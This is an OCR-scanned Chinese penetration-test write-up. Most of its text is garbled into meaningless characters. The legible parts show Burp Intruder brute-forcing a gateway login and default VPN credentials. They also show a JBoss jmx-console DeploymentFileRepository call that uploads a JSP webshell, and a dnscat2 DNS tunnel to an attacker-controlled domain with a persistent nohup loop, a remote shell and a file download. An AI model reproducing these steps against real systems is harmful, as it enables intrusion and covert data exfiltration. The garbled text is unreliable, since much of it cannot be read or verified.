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AE—TRAMEWNTF, FAESHERETEAR, /R
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aAEY.A

ERXER, SBRFBEFEIHA

IR EFERSKMBFARER, REHEERE
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2?7 ? 7 HNRERIZARAE Y, @RS EFER
BERUNREFEENETF . T =T2HMERBRES
HERERRETRE, BL/\KRZ+7, leader HFIHK
MRS, RRRIAR], AET5E,
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RRAR A AR EMith 7, ARk L.

KAl = EFRIRE

[, HEBZNT XANKER?
“FTImR, AR, BERFFERD, ”

‘MBELARX, RBEHESE.



ERFA

&, X—RERZE (hunzi) BEARFH, ROEGE, R

REE, BEEERERENIIER, 3T URL — 1 F, &
B —MFIE SiteFiles, XA FhZE SiteServer I,

ALRTIBEEY, XEAES, ZETEIBEADHE
HEETF AN 1day, /NF—REIZTE URL BNt /
SiteServer/

< C afd H Lcom

i WH WA - Confluence €y BHA - MFEAE @ 360CERT-Q

Error 404: SRVEQ190E: A FI3{4: /SiteServer



Oh...yee! ? ? B—WE R, FHIRTFE.

KAREE, T2XE., NRRFILAEMNREIKRE, K
AN R, XEEF A —KERIZTEER T
webshell, B dmz X&EE,

REECIkBISIEFMEBEBHEM web &=, HTHFRETR,
—BRETR, WRKET, BR =Rk + ¥, &
X = HARLR, BTHET., BERERBAE,



X H B

ZREIRA cms, HEEHHHINAY nday BT —&@, B
BAEEHE webshell, RKIEXFMEFZE (hun zi) D\, X
BEMEZANAS, REFRSINRE.....

HEXEI LT REZER

TEEFIEIPE

NEERIX A8, EEME nmap ImOHICE, #EI—
4~ 8080 im0 X FAEEHAMRK, BIRXF:



psulidat FERS%

EREN &

SRET_E wooyun B ERR—IKICRFEIEE,

4 D@ = #0068

xig=r [ ] IS RER s

1R .

151208 emmrn SERROC@AARR
wsosn | S ——
1a1208 m——e_y

D

AMEFIANFE=TMKS admin/master/guest,

i BurpSuite 2VEKEE, HTENIKSEBEAE
auth XIRHITIEE, 2T base64 i3, HHER
EIINTZRFRB 7(BBFRR 7). REBAE linux
TMER awk B FFH,

root@x-5do7ef:~# awk '{print "guest:"$0}' x_pass.txt :



root@x-5d67ef:~# awk '{print $0"7"}' x_pass_2.txt > x_

AW om wouw = W

BESARIINFH, HEER—THMIRE T password
top 100. A K base64 wi3— T,



(2| Payloa
Configure the positions where payloads wil be inserted ino the base request. The aliack type determines the way in which payloads are assigned to payload positions - see help for full
details

£
H

Attack type: | Sniper ‘-]

POST WEB MS/LEVELTS/ HTTP/1 1 0
Host Ch
Content-Length. 71 Clear
srzsion B VAN L o=
User-Agent: Mozillals 0 (Windaws NT 10.0; WinBd; 164) AppleWebKit/537 36 (KHTML. like Gecko) Ghrome/Bd.0.4147.105 Safari/S37 36 Auto
Content-Type: taxt/plain:charsst=UTF-8

Accept T Refre:
rigin: hitp /

Reforer. http.// Jindax. itm

A ng: g2

A

c

c

command=show clock&strurt=exec04&mods=%02PRIV_EXECEsignname=Red-Giant

v
(2 b= (1] 2] [7vpe @ search tem 0 matches Clea

1 payload position Length: 604

BRIk 52158 guest/guest, EFEFHIT / LEVEL1S
/ #&0, 8% command ZEH#1TEEE E{SE show

run.

AIMNEES admin 2530 pwd!12345, EXZFHAGE
AR, MIIEEEEFRRINIT (BAIME guest 1RANAL
admin, T EAMREVERT, EERAMtERNE
BREEA) . Web THEEREEAMNKS admin RN
SSL VPN kS user1/123456,



ERFE X

Client

el tos: /. 50000] |
B op g |userl |
= B: |I.C.I. |

R PEED
LBgahEs =

CESC -
¥ DA
(X & EG Z M=%k guest @AY, A ITER®S, B@ET
vpn BEZZ1ERMN)

{ [RG-EG] RG-EG (M*#&Ez) VPN IfsEEcE SSL
VPN)

AWZE

EAANE, BUREEEASINAXNTEEEENEE

-

B/Svo

e ]

SAAMN IP KB =T, MAHNEMNERHEITE
Riw O (S ARERAIRERORYER) FIATIZ9AER



ZiE, XEMIBRLHEMNAA/B/C KR IP 774,

MEFERBERAE T—FSimOHN,

W oilgunt.007
2 WEh

RELSE RWEEE RANE  RERR WA
| WOBE  RHWR

53,80,137,) #E (4 IR HES EHE
1P
0719254
0.3 4 11-25
0.3 %2125
1R
g wOxZ Wi L]
1
2 10.- .3 88 soft-115/10.0 Uxoinie:
3 10, ass SMB (NETBIOSHH!) s Server 2016 Datacenter 14393 v 3%t % com (dos
4 10 ONS (IRERE)
windows rap (SR
Loap (@B RKiah )
o3 SMB (NETBIOSH)S!)
8 10, .43 445 sM8 (NETBIOSH) ina 2016 Datacenter 14 383 = .com (domain: =
9 10°1.43 13 SMB (NETBIOSHY) !
i Windows rap (SR
i SSH (IR
EGAS: 10> -.67, B35 :10515/20574, WE: 51.11%
I

FigE feaE | WO

BE— AR RN, HEMeERT JBOSS HE
%, MEFEXNNRRE, FnEM exp BEEniZan<H

17, =3 nc o, BRMT VLAN RS, FHiTXBR
BEIHIE) ZAREEE: HTTP/HTTPS B web BRSS, mli%
RSB FEIF A TEEIE ORI 1FITEE, Biniz

| 2]




HBEART, BAREEEEAIERE war B E—GIEAR
O, @ web BRSZMXIEE webshell H#{TRE,

http://10.x.x.50:8080/jmxconsole/HtmlAdaptor?action=ir
e=jboss.admin:service=DeploymentFileRepository, EfIF]s1

N0,
A EEX X Ap i

SIMEIE LS testwar BBE—OEHMISRER, Bid
I RS,



HeAMBET —T vulhub, KMEMIEE, RIEFFH®
Birt. o

XpfEirE I+ AREH, BTHE,

O

R¥E—H

MAZE] AR war BEER 2B FT, il Jmx-
console.war, RFMT, AtEWMIL, ERHAFE
T#HITIH,

Fef&e4 BaseDir Zl./deploy/:



mx-console/HtmlAdaptor

| rta U oA o

AL R 5 yiRmseandfawer P2 X8 3 X
R pd —EIEARD,

MBean Name: Domain Name: jboss.admin
service: DeploymentFileRepository
<« C A Fsz| 1t jmx-console/HtmlAdaptor?action=i \Bean&name=jboss.admin¥%3Aservice%3DDeploymentFileRepository
v I JumwmIn gnoroa Q:mom oty 2 @

Invoke |

void remove()

MBean Operation.

pl java.| \ang Strmg [na description)
p2 ljava.lang.String (no description)
p3 ljava.lang.String

Invoke |

(no description)

void store()

MBean Operation.

[Param| ParamType | Paramvalue |Par. tion

java.lang.String|[imcconsolewar ||(no descmphon)
pZ ljava.lang.String || test (no description)
p3 liava.lang.String [ s J|(no description)
pa java.lang.String || <%out print(1)%> Jl(no description)
p5 boolean ®True O False (no description)
Invoke |

ENBNAE, BIF] getshell,

URL: hitpy// BB 58080 mx-console/testjsp

FHEE SONT AN RAEE SodoE EMShl MESEE SEURE SoR EFS

8080/jmx-console/test1 jsp
mw/mu 8080 jmx-console/testjsp

URL: [htpry7107 MBeog0/jms-consoletesti jsp =4

EHES

BN EpAE RHEE SocksHIE FMshl SiReeE?

38 v2.0.1 | By rebeyond

1498201 | By rebeyond

HY

IFE root, {BRIMRARIRBEEI—1¥, R
THEIFMNA, 8T BRI,

S
0
I



IREFEETT, BEFPRAIAMRE, 1LB(BBEAEE
MBI ZRERINN ISR TEIS . BEARSEIETT, A
R A AB R E AR,

S fERA ping www.qg.com &INTTIE ping &, 15AR
ICMP 11X 1T, BEiZKiEE sockss AL, #H
curl 15B)MNMtEANIT, 1BR http/https LAREN, HiZ
F3 msf 238 tcp A5,

Xd (ESHETE AR L.



ERERESFWRRGIS, 2 2% ER0 DNS hilGH
ITXSMRE. BT FEBLIN dnscat2 AILASZH:, FHR

h%, MEIE,

FECE R dns,

DNS management for .# . bio
| @ Search DNS R iF Advanced
Type Name Content TTL Proxy status
( A 0 1094m m216 Auto “a. DNS only
" ] Auto “a, DNS only Edit »
NS 006 0.1 ml.bie Auto DNS only Edit »
n | \uto DNS only Edit»

A IEREE— T EEKEE VPS 19 IP,
a0 A iEFE 0, XRZ IP108.x.x.216,
NS ICREERIIEIXREN A 1TX.,

006.xxx.bio M 0.xxx.bio.

O maitei
L]
" *
- % (e
- "
O semmsmni, Jnscat —dns dom. ' blo —secret=d69eco044Fe626.... X

anything yo

[[ WARNING 1] Tried to kill a session that's al
[[ FATAL 1] :: Received FIN: (reason: 'Session kil
sing session

[[ WARNING ]] Tried to kill a session that's al
Got a command: COMMAND PING [request] :: request i{
IMXINHPNYMUMY LWRAECUMUFXAYRFYAHLBZHXCVYSSTAELYIWGFN
IKSDGMTPDXUOPHELPVEMUJTGWKLJQJIIYMUQZLPLIIPSQOOEIAFF!
NTYRDYSVBHEAWHRQWQTBUCDRHOYFEUWLNNDPTBKNXBKYBADFOL.

C
[[ WARNING ]] :: Got a ping request! Responding!

Response: COMMAND PING [response] :: request id: @

IMTPDXUOPHELPVEMUJTGWKLJQJIYMUQZLPLIIPSQOOEIAFFHKQD!
IDYSVBHEAWHRQWQTBUCDRHOYFEUWLNNDPTBKNXBKYBADFOLAORLI
lGot a command: COMMAND DOWNLOAD [request] :: reque
'e/ubuntu/Desktop/post . txt

[Response: COMMAND DOWNLOAD [response] :: request i
[Got a command: COMMAND SHELL [request] :: request_

Starting: /bin/sh -c 'sh®
:: Started: sh (pid: 6418)
Response: COMMAND SHELL [response] request_id:

** Peer verified with pre-shared secret!

Session established!

AT E dnscat2, RIEXEHIT, BSEE github
HISZAEO,



RATIS O
./dnscat —dns domain=006.xxx.bio

125 L% client }WNAICHEE] / tmp T, #1T make 4g

.

FIFTTRE, AT,

mx-console/test1 jsp

M4 | SocksttHE | R3WShell | IBHETE SEVHLE HER EFES

mer

nohup /bin/bash -c “white true; do /tmp/dnscat -dns dc

BRI HITRE,



IEfFXE ——dns domain —EZIEFHE, HAIEIXE
IMEIZIE IP #17 dns 53 i @EARMATT (BAKRXD
TEXGINZE, WMRBHEORERN &I A AZ RIER

ShN& 28 ——secret)

DRI EIPS: N

:8A
k:2Client sent a bad sequence number (expec

RIS 7 REH
L TIREE

RERAHEEILR, FAEERRYBEIIRARIAM,
IRINEBRET



4. SR @A TR A INER jooss FRIEMHAIAR
58, RI java RFFIHTEEZRFA.

5. AEEMEHITRAEM, @dAhIpE
webshell 2| Efth B R T &I RS,

6. RMEMMINICK, BT dns MHNRRIALW, 45
RARINA

AXH &% SimpRead ift, FBLARTHRIEIRL

{ER7T SMBIRIDEDISIE PR, RHEEIFMEA


http://ksria.com/simpread
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